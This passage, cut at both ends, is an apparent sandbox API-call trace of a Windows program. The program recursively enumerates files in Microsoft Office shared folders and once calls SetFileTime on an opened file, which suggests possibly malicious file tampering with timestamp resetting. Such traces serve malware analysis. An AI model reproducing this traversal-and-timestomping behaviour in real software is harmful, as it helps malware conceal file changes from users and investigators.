ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x0, dwReserved1=0x4f8560, cFileName="WordMUI.XML", cAlternateFileName="")) returned 0 [0058.504] FindClose (in: hFindFile=0x4f8158 | out: hFindFile=0x4f8158) returned 1 [0058.504] FindNextFileA (in: hFindFile=0x4f8208, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="Word.en-us", cAlternateFileName="WORD~1.EN-")) returned 0 [0058.505] FindClose (in: hFindFile=0x4f8208 | out: hFindFile=0x4f8208) returned 1 [0058.505] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6bc953f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x2560, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="OFFREL.DLL", cAlternateFileName="")) returned 1 [0058.505] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*") returned="*.*" [0058.505] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" [0058.505] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="" [0058.505] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6c2166d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x4d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="OPHPROXY.DLL", cAlternateFileName="")) returned 1 [0058.505] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL") returned="OFFREL.DLL" [0058.505] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" [0058.505] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="" [0058.505] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6a43200, ftCreationTime.dwHighDateTime=0x1cb700e, ftLastAccessTime.dwLowDateTime=0xcf47ffa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf6a43200, ftLastWriteTime.dwHighDateTime=0x1cb700e, nFileSizeHigh=0x0, nFileSizeLow=0x47a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OPTINPS.DLL", cAlternateFileName="")) returned 1 [0058.505] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL") returned="OPHPROXY.DLL" [0058.505] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" [0058.505] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="" [0058.506] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1570ec00, ftCreationTime.dwHighDateTime=0x1cbc479, ftLastAccessTime.dwLowDateTime=0xe5d21520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1570ec00, ftLastWriteTime.dwHighDateTime=0x1cbc479, nFileSizeHigh=0x0, nFileSizeLow=0xb7ba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PJ11OD11.DLL", cAlternateFileName="")) returned 1 [0058.506] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL") returned="OPTINPS.DLL" [0058.506] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" [0058.506] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="" [0058.506] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a461000, ftCreationTime.dwHighDateTime=0x1cb7018, ftLastAccessTime.dwLowDateTime=0xe5d47680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9a461000, ftLastWriteTime.dwHighDateTime=0x1cb7018, nFileSizeHigh=0x0, nFileSizeLow=0x3fb90, dwReserved0=0x0, dwReserved1=0x0, cFileName="PJRESC.DLL", cAlternateFileName="")) returned 1 [0058.506] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL") returned="PJ11OD11.DLL" [0058.506] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" [0058.506] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="" [0058.506] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74bd800, ftCreationTime.dwHighDateTime=0x1cb71c8, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x74bd800, ftLastWriteTime.dwHighDateTime=0x1cb71c8, nFileSizeHigh=0x0, nFileSizeLow=0x3c2b90, dwReserved0=0x0, dwReserved1=0x0, cFileName="PRJRES.DLL", cAlternateFileName="")) returned 1 [0058.506] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL") returned="PJRESC.DLL" [0058.506] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" [0058.506] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="" [0058.507] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a199a00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xdac16060, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a199a00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x1c8b68, dwReserved0=0x0, dwReserved1=0x0, cFileName="RICHED20.DLL", cAlternateFileName="")) returned 1 [0058.507] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL") returned="PRJRES.DLL" [0058.507] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" [0058.507] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="" [0058.507] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7339ac00, ftCreationTime.dwHighDateTime=0x1cbdfc2, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7339ac00, ftLastWriteTime.dwHighDateTime=0x1cbdfc2, nFileSizeHigh=0x0, nFileSizeLow=0x90778, dwReserved0=0x0, dwReserved1=0x0, cFileName="SERCONV.DLL", cAlternateFileName="")) returned 1 [0058.507] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL") returned="RICHED20.DLL" [0058.507] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" [0058.507] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="" [0058.507] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xded68100, ftCreationTime.dwHighDateTime=0x1cb5970, ftLastAccessTime.dwLowDateTime=0xd68d72e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xded68100, ftLastWriteTime.dwHighDateTime=0x1cb5970, nFileSizeHigh=0x0, nFileSizeLow=0xc6b00, dwReserved0=0x0, dwReserved1=0x0, cFileName="USP10.DLL", cAlternateFileName="")) returned 1 [0058.507] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL") returned="SERCONV.DLL" [0058.507] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" [0058.507] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="" [0058.508] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x520efa00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xd83064e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x520efa00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0xc150, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBAJET32.DLL", cAlternateFileName="")) returned 1 [0058.508] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL") returned="USP10.DLL" [0058.508] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" [0058.508] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="" [0058.508] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14a84d00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0x5e5e73d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14a84d00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0x23f90, dwReserved0=0x0, dwReserved1=0x0, cFileName="WISC30.DLL", cAlternateFileName="")) returned 1 [0058.508] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL") returned="VBAJET32.DLL" [0058.508] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" [0058.508] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="" [0058.508] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14a84d00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0x5e5e73d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14a84d00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0x23f90, dwReserved0=0x0, dwReserved1=0x0, cFileName="WISC30.DLL", cAlternateFileName="")) returned 0 [0058.508] FindClose (in: hFindFile=0x4f8118 | out: hFindFile=0x4f8118) returned 1 [0058.508] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c23c830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="OfficeSoftwareProtectionPlatform", cAlternateFileName="OFFICE~1")) returned 1 [0058.509] lstrcmpA (lpString1=".", lpString2="OfficeSoftwareProtectionPlatform") returned -1 [0058.509] lstrcmpA (lpString1="..", lpString2="OfficeSoftwareProtectionPlatform") returned -1 [0058.509] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\*.*") returned="*.*" [0058.509] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c23c830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4f81c8 [0058.510] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0058.510] FindNextFileA (in: hFindFile=0x4f81c8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c23c830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.510] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0058.510] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0058.510] FindNextFileA (in: hFindFile=0x4f81c8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x24500, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="OSPPC.DLL", cAlternateFileName="")) returned 1 [0058.510] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\*.*") returned="*.*" [0058.510] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\" [0058.510] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\") returned="" [0058.513] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0058.514] CloseHandle (hObject=0x8c) returned 1 [0058.514] FindNextFileA (in: hFindFile=0x4f81c8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59922e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x1be700, dwReserved0=0x0, dwReserved1=0x4f8510, cFileName="OSPPCEXT.DLL", cAlternateFileName="")) returned 1 [0058.514] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL") returned="OSPPC.DLL" [0058.514] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\" [0058.514] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\") returned="" [0058.514] FindNextFileA (in: hFindFile=0x4f81c8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x2d7e, dwReserved0=0x4f0054, dwReserved1=0x440020, cFileName="osppobjs-spp-plugin-manifest-signed.xrm-ms", cAlternateFileName="OSPPOB~1.XRM")) returned 1 [0058.514] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL") returned="OSPPCEXT.DLL" [0058.514] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\" [0058.514] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\") returned="" [0058.515] FindNextFileA (in: hFindFile=0x4f81c8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59948fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x212b00, dwReserved0=0x4f0054, dwReserved1=0x440020, cFileName="OSPPOBJS.DLL", cAlternateFileName="")) returned 1 [0058.515] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms") returned="osppobjs-spp-plugin-manifest-signed.xrm-ms" [0058.515] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\" [0058.515] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\") returned="" [0058.515] FindNextFileA (in: hFindFile=0x4f81c8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf332800, ftCreationTime.dwHighDateTime=0x1cabc8a, ftLastAccessTime.dwLowDateTime=0x59948fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf332800, ftLastWriteTime.dwHighDateTime=0x1cabc8a, nFileSizeHigh=0x0, nFileSizeLow=0x3d60, dwReserved0=0x4f0054, dwReserved1=0x440020, cFileName="OSPPREARM.EXE", cAlternateFileName="OSPPRE~1.EXE")) returned 1 [0058.515] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL") returned="OSPPOBJS.DLL" [0058.515] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\" [0058.515] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\") returned="" [0058.515] FindNextFileA (in: hFindFile=0x4f81c8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59995270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x4b2700, dwReserved0=0x4f0054, dwReserved1=0x440020, cFileName="OSPPSVC.EXE", cAlternateFileName="")) returned 1 [0058.516] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE") returned="OSPPREARM.EXE" [0058.516] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\" [0058.516] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\") returned="" [0058.516] FindNextFileA (in: hFindFile=0x4f81c8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59995270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x23b10, dwReserved0=0x4f0054, dwReserved1=0x440020, cFileName="OSPPWMI.DLL", cAlternateFileName="")) returned 1 [0058.516] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE") returned="OSPPSVC.EXE" [0058.516] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\" [0058.516] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\") returned="" [0058.516] FindNextFileA (in: hFindFile=0x4f81c8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0xba5e, dwReserved0=0x4f0054, dwReserved1=0x440020, cFileName="OSPPWMI.MOF", cAlternateFileName="")) returned 1 [0058.516] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL") returned="OSPPWMI.DLL" [0058.516] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft 